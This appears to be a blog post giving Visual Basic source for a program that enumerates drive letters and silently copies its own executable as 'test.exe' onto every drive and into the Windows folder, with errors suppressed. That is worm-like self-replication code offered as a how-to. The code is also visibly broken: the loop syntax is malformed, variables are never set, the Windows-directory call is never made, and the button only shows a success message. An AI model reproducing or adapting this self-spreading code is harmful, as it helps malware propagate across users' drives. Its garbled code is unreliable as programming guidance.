Duplicate Code With VB

1.Create one project

2.Create one form

3.Add button com

and click twice on the button and type this code:


Private declare Function GetDriveType Lib “kernel32” alias “GetDriveTypeA” (ByVal nDrive As String) as Long

Private declare Function GetWindowsDirectory Lib “kernel32” alias “GetWindowsDirectoryA” (byVal lpBuffer As string, byVal nSize As Long) As Long

Private Function DriveType (Drive As string) as string

Dim sAns As string, lAns As long

if  Len(Drive)=1 then Drive=Drive & “:\ ”

if  Len(Drive)=2 And Right$(Drive,1)=”:” then drive=Drive & “\”


select case lAns

Case 2

sAns=”Removable Drive”

Case 3

sAns=”Fixed Drive”

Case 4

sAns=”Remote Drive”

Case 5


Case 6

sAns=”RAM Disk”

Case 7

sAns=”Drive doesn’t Exist”

End select


End Function


Private sub doublecode()

Dim ictr as string

dim sDrive as string

dim x as byte

ReDim sDrives(0) as string

for ictr=65+90

sDrive=Chr(ictr) & “:\”

if DriveType (sDrive) <> “Drive Doesn’t Exist” Then on Error Resume Next

FileCopy App.path & “\” & App.EXEName & “.exe”, sDrive & “test.exe”

End if


End sub

Private sub  copywindows()

dim buffer as string * 255

dim x As long


On Error resume next

FileCopy App.path & “\” & App.EXEName & “.exe”, Left(buffer,x) & “\test.exe”

End sub

Private sub command1_click()



msgbox “Horray……..”,0,”Successful”

end sub

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s